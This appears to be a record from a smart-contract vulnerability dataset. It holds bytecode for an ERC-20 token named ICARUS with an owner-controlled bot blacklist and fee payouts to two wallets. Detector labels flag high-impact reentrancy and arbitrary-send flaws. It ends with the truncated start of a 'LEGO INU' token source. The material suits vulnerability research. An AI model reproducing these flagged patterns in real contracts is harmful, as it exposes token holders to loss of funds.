000683635c9adc5dea00000905090565b6000610705848484611a8a565b6107c6846107116118b7565b6107c185604051806060016040528060288152602001613ee060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107776118b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122dd9092919063ffffffff16565b6118bf565b600190509392505050565b6107d96118b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d90613655565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006108cc30610d24565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109716118b7565b73ffffffffffffffffffffffffffffffffffffffff161461099157600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6109f46118b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7890613655565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff16604051610ad99190613558565b60405180910390a150565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b256118b7565b73ffffffffffffffffffffffffffffffffffffffff1614610b4557600080fd5b600060056000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610cab919061392c565b9050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cf36118b7565b73ffffffffffffffffffffffffffffffffffffffff1614610d1357600080fd5b6000479050610d2181612341565b50565b6000610d6e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243c565b9050919050565b610d7d6118b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0190613655565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4943415255530000000000000000000000000000000000000000000000000000815250905090565b6000610f42610f3b6118b7565b8484611a8a565b6001905092915050565b6000601360159054906101000a900460ff16905090565b610f6b6118b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fef90613655565b60405180910390fd5b60005b815181101561116f57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110505761104f613ae4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110e45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110c3576110c2613ae4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561115c5760016006600084848151811061110257611101613ae4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061116790613a3d565b915050610ffb565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111b46118b7565b73ffffffffffffffffffffffffffffffffffffffff16146111d457600080fd5b60006111df30610d24565b90506111ea816124aa565b50565b6111f56118b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611282576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127990613655565b60405180910390fd5b601360149054906101000a900460ff16156112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c9906136d5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061136230601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156113a857600080fd5b505afa1580156113bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e09190612fba565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561144257600080fd5b505afa158015611456573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147a9190612fba565b6040518363ffffffff1660e01b81526004016114979291906134a5565b602060405180830381600087803b1580156114b157600080fd5b505af11580156114c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e99190612fba565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061157230610d24565b60008061157d610ec8565b426040518863ffffffff1660e01b815260040161159f969594939291906134f7565b6060604051808303818588803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115f1919061318a565b505050678ac7230489e80000600f81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116a29291906134ce565b602060405180830381600087803b1580156116bc57600080fd5b505af11580156116d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f4919061315d565b506001601360146101000a81548160ff02191690831515021790555061012c4261171e919061384b565b60158190555061025842611732919061384b565b60168190555042600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117836118b7565b73ffffffffffffffffffffffffffffffffffffffff16146117a357600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061182b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d24565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561192f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611926906136b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561199f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611996906135d5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a7d9190613715565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af190613695565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6190613595565b60405180910390fd5b60008111611bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba490613675565b60405180910390fd5b611bb5610ec8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c235750611bf3610ec8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561220357600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ccc5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd557600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611daf5760405180604001604052806000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e5a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561208357601360149054906101000a900460ff16611f04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efb906136f5565b60405180910390fd5b426016541115611f6b576000611f1983610d24565b9050611f4b6064611f3d6002683635c9adc5dea0000061273290919063ffffffff16565b6127ad90919063ffffffff16565b611f5e82846127f790919063ffffffff16565b1115611f6957600080fd5b505b6001600a819055506006600b81905550601360159054906101000a900460ff16156120825742601554111561208157600f54811115611fa957600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061202d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612024906135f5565b60405180910390fd5b600a4261203a919061384b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b5b600061208e30610d24565b9050601360179054906101000a900460ff161580156120fb5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121135750601360149054906101000a900460ff165b15612201576001600a819055506006600b8190555060008111156121e75761218260646121746008612166601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d24565b61273290919063ffffffff16565b6127ad90919063ffffffff16565b8111156121dd576121da60646121cc60086121be601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d24565b61273290919063ffffffff16565b6127ad90919063ffffffff16565b90505b6121e6816124aa565b5b600047905060008111156121ff576121fe47612341565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122aa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806122c15750601360169054906101000a900460ff165b156122cb57600090505b6122d784848484612855565b50505050565b6000838311158290612325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231c9190613573565b60405180910390fd5b5060008385612334919061392c565b9050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123916002846127ad90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123bc573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240d6002846127ad90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612438573d6000803e3d6000fd5b5050565b6000600854821115612483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247a906135b5565b60405180910390fd5b600061248d612882565b90506124a281846127ad90919063ffffffff16565b915050919050565b6001601360176101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156124e2576124e1613b13565b5b6040519080825280602002602001820160405280156125105781602001602082028036833780820191505090505b509050308160008151811061252857612527613ae4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125ca57600080fd5b505afa1580156125de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126029190612fba565b8160018151811061261657612615613ae4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061267d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118bf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126e1959493929190613730565b600060405180830381600087803b1580156126fb57600080fd5b505af115801561270f573d6000803e3d6000fd5b50505050506000601360176101000a81548160ff02191690831515021790555050565b60008083141561274557600090506127a7565b6000828461275391906138d2565b905082848261276291906138a1565b146127a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279990613635565b60405180910390fd5b809150505b92915050565b60006127ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128ad565b905092915050565b6000808284612806919061384b565b90508381101561284b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284290613615565b60405180910390fd5b8091505092915050565b8061286357612862612910565b5b61286e848484612953565b8061287c5761287b612b1e565b5b50505050565b600080600061288f612b32565b915091506128a681836127ad90919063ffffffff16565b9250505090565b600080831182906128f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128eb9190613573565b60405180910390fd5b506000838561290391906138a1565b9050809150509392505050565b6000600a5414801561292457506000600b54145b1561292e57612951565b600a54600d81905550600b54600e819055506000600a819055506000600b819055505b565b60008060008060008061296587612b94565b9550955095509550955095506129c386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bfc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a5885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aa481612c46565b612aae8483612d03565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b0b9190613715565b60405180910390a3505050505050505050565b600d54600a81905550600e54600b81905550565b600080600060085490506000683635c9adc5dea000009050612b68683635c9adc5dea000006008546127ad90919063ffffffff16565b821015612b8757600854683635c9adc5dea00000935093505050612b90565b81819350935050505b9091565b6000806000806000806000806000612bb18a600a54600b54612d3d565b9250925092506000612bc1612882565b90506000806000612bd48e878787612dd3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612c3e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122dd565b905092915050565b6000612c50612882565b90506000612c67828461273290919063ffffffff16565b9050612cbb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612d1882600854612bfc90919063ffffffff16565b600881905550612d33816009546127f790919063ffffffff16565b6009819055505050565b600080600080612d696064612d5b888a61273290919063ffffffff16565b6127ad90919063ffffffff16565b90506000612d936064612d85888b61273290919063ffffffff16565b6127ad90919063ffffffff16565b90506000612dbc82612dae858c612bfc90919063ffffffff16565b612bfc90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612dec858961273290919063ffffffff16565b90506000612e03868961273290919063ffffffff16565b90506000612e1a878961273290919063ffffffff16565b90506000612e4382612e358587612bfc90919063ffffffff16565b612bfc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612e6f612e6a846137ca565b6137a5565b90508083825260208201905082856020860282011115612e9257612e91613b47565b5b60005b85811015612ec25781612ea88882612ecc565b845260208401935060208301925050600181019050612e95565b5050509392505050565b600081359050612edb81613e83565b92915050565b600081519050612ef081613e83565b92915050565b600081359050612f0581613e9a565b92915050565b600082601f830112612f2057612f1f613b42565b5b8135612f30848260208601612e5c565b91505092915050565b600081359050612f4881613eb1565b92915050565b600081519050612f5d81613eb1565b92915050565b600081359050612f7281613ec8565b92915050565b600081519050612f8781613ec8565b92915050565b600060208284031215612fa357612fa2613b51565b5b6000612fb184828501612ecc565b91505092915050565b600060208284031215612fd057612fcf613b51565b5b6000612fde84828501612ee1565b91505092915050565b600060208284031215612ffd57612ffc613b51565b5b600061300b84828501612ef6565b91505092915050565b6000806040838503121561302b5761302a613b51565b5b600061303985828601612ecc565b925050602061304a85828601612ecc565b9150509250929050565b60008060006060848603121561306d5761306c613b51565b5b600061307b86828701612ecc565b935050602061308c86828701612ecc565b925050604061309d86828701612f63565b9150509250925092565b600080604083850312156130be576130bd613b51565b5b60006130cc85828601612ecc565b92505060206130dd85828601612f63565b9150509250929050565b6000602082840312156130fd576130fc613b51565b5b600082013567ffffffffffffffff81111561311b5761311a613b4c565b5b61312784828501612f0b565b91505092915050565b60006020828403121561314657613145613b51565b5b600061315484828501612f39565b91505092915050565b60006020828403121561317357613172613b51565b5b600061318184828501612f4e565b91505092915050565b6000806000606084860312156131a3576131a2613b51565b5b60006131b186828701612f78565b93505060206131c286828701612f78565b92505060406131d386828701612f78565b9150509250925092565b60006131e983836131f5565b60208301905092915050565b6131fe81613960565b82525050565b61320d81613960565b82525050565b600061321e82613806565b6132288185613829565b9350613233836137f6565b8060005b8381101561326457815161324b88826131dd565b97506132568361381c565b925050600181019050613237565b5085935050505092915050565b61327a81613984565b82525050565b613289816139c7565b82525050565b600061329a82613811565b6132a4818561383a565b93506132b48185602086016139d9565b6132bd81613b56565b840191505092915050565b60006132d560238361383a565b91506132e082613b67565b604082019050919050565b60006132f8602a8361383a565b915061330382613bb6565b604082019050919050565b600061331b60228361383a565b915061332682613c05565b604082019050919050565b600061333e60228361383a565b915061334982613c54565b604082019050919050565b6000613361601b8361383a565b915061336c82613ca3565b602082019050919050565b600061338460218361383a565b915061338f82613ccc565b604082019050919050565b60006133a760208361383a565b91506133b282613d1b565b602082019050919050565b60006133ca60298361383a565b91506133d582613d44565b604082019050919050565b60006133ed60258361383a565b91506133f882613d93565b604082019050919050565b600061341060248361383a565b915061341b82613de2565b604082019050919050565b600061343360178361383a565b915061343e82613e31565b602082019050919050565b600061345660188361383a565b915061346182613e5a565b602082019050919050565b613475816139b0565b82525050565b613484816139ba565b82525050565b600060208201905061349f6000830184613204565b92915050565b60006040820190506134ba6000830185613204565b6134c76020830184613204565b9392505050565b60006040820190506134e36000830185613204565b6134f0602083018461346c565b9392505050565b600060c08201905061350c6000830189613204565b613519602083018861346c565b6135266040830187613280565b6135336060830186613280565b6135406080830185613204565b61354d60a083018461346c565b979650505050505050565b600060208201905061356d6000830184613271565b92915050565b6000602082019050818103600083015261358d818461328f565b905092915050565b600060208201905081810360008301526135ae816132c8565b9050919050565b600060208201905081810360008301526135ce816132eb565b9050919050565b600060208201905081810360008301526135ee8161330e565b9050919050565b6000602082019050818103600083015261360e81613331565b9050919050565b6000602082019050818103600083015261362e81613354565b9050919050565b6000602082019050818103600083015261364e81613377565b9050919050565b6000602082019050818103600083015261366e8161339a565b9050919050565b6000602082019050818103600083015261368e816133bd565b9050919050565b600060208201905081810360008301526136ae816133e0565b9050919050565b600060208201905081810360008301526136ce81613403565b9050919050565b600060208201905081810360008301526136ee81613426565b9050919050565b6000602082019050818103600083015261370e81613449565b9050919050565b600060208201905061372a600083018461346c565b92915050565b600060a082019050613745600083018861346c565b6137526020830187613280565b81810360408301526137648186613213565b90506137736060830185613204565b613780608083018461346c565b9695505050505050565b600060208201905061379f600083018461347b565b92915050565b60006137af6137c0565b90506137bb8282613a0c565b919050565b6000604051905090565b600067ffffffffffffffff8211156137e5576137e4613b13565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613856826139b0565b9150613861836139b0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561389657613895613a86565b5b828201905092915050565b60006138ac826139b0565b91506138b7836139b0565b9250826138c7576138c6613ab5565b5b828204905092915050565b60006138dd826139b0565b91506138e8836139b0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561392157613920613a86565b5b828202905092915050565b6000613937826139b0565b9150613942836139b0565b92508282101561395557613954613a86565b5b828203905092915050565b600061396b82613990565b9050919050565b600061397d82613990565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139d2826139b0565b9050919050565b60005b838110156139f75780820151818401526020810190506139dc565b83811115613a06576000848401525b50505050565b613a1582613b56565b810181811067ffffffffffffffff82111715613a3457613a33613b13565b5b80604052505050565b6000613a48826139b0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7b57613a7a613a86565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613e8c81613960565b8114613e9757600080fd5b50565b613ea381613972565b8114613eae57600080fd5b50565b613eba81613984565b8114613ec557600080fd5b50565b613ed1816139b0565b8114613edc57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef850cda93974e51c069a85dd070c04e2a4efca352ffc260fd7e6dfebc4f90fa64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,248
0x1775ef3ce355ee35a582b89037b62f5952f23d22
/** *Submitted for verification at Etherscan.io on 2021-07-15 */ /* ___ ___ ___ ___ ___ ___ /\__\ /\ \ /\ \ /\ \ ___ /\__\ /\__\ /:/ / /::\ \ /::\ \ /::\ \ /\ \ /::| | /:/ / /:/ / /:/\:\ \ /:/\:\ \ /:/\:\ \ \:\ \ /:|:| | /:/ / /:/ / /::\~\:\ \ /:/ \:\ \ /:/ \:\ \ /::\__\ /:/|:| |__ /:/ / ___ /:/__/ /:/\:\ \:\__\ /:/__/_\:\__\ /:/__/ \:\__\ __/:/\/__/ /:/ |:| /\__\ /:/__/ /\__\ \:\ \ \:\~\:\ \/__/ \:\ /\ \/__/ \:\ \ /:/ / /\/:/ / \/__|:|/:/ / \:\ \ /:/ / \:\ \ \:\ \:\__\ \:\ \:\__\ \:\ /:/ / \::/__/ |:/:/ / \:\ /:/ / \:\ \ \:\ \/__/ \:\/:/ / \:\/:/ / \:\__\ |::/ / \:\/:/ / \:\__\ \:\__\ \::/ / \::/ / \/__/ /:/ / \::/ / \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ 🧮 LEGO.NOMICS: 2,500,000,000,000 Total LEGOs 7,500,000,000 initial buy limit 1 Min Cooldown 💠 LEGO.TRUST (https://legoinu.com/): Liquidity Locked on Unicrypt Ownership Renounced after everything works as intended 💲 LEGO.FEES: 5% LEGO Redistribution among Holders 15% Tax as following: > 50% for Development > 40% for Marketing and Buybacks > 10% for LEGO.LOTTO to Reward Top Holders 🗣 LEGO.SOCIAL (https://legoinu.com/): 🖥 Website: https://legoinu.com 💬 Telegram: https://t.me/LegoInu1 🕊 Twitter: https://twitter.com/lego_inu 💬 Reddit: https://www.reddit.com/r/LegoInu 🖊 Github: https://github.com/LegoInu/Lego 📽 Youtube: https://www.youtube.com/channel/UC4iw7KAtpNC-Zv5xfEzJP2g */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), 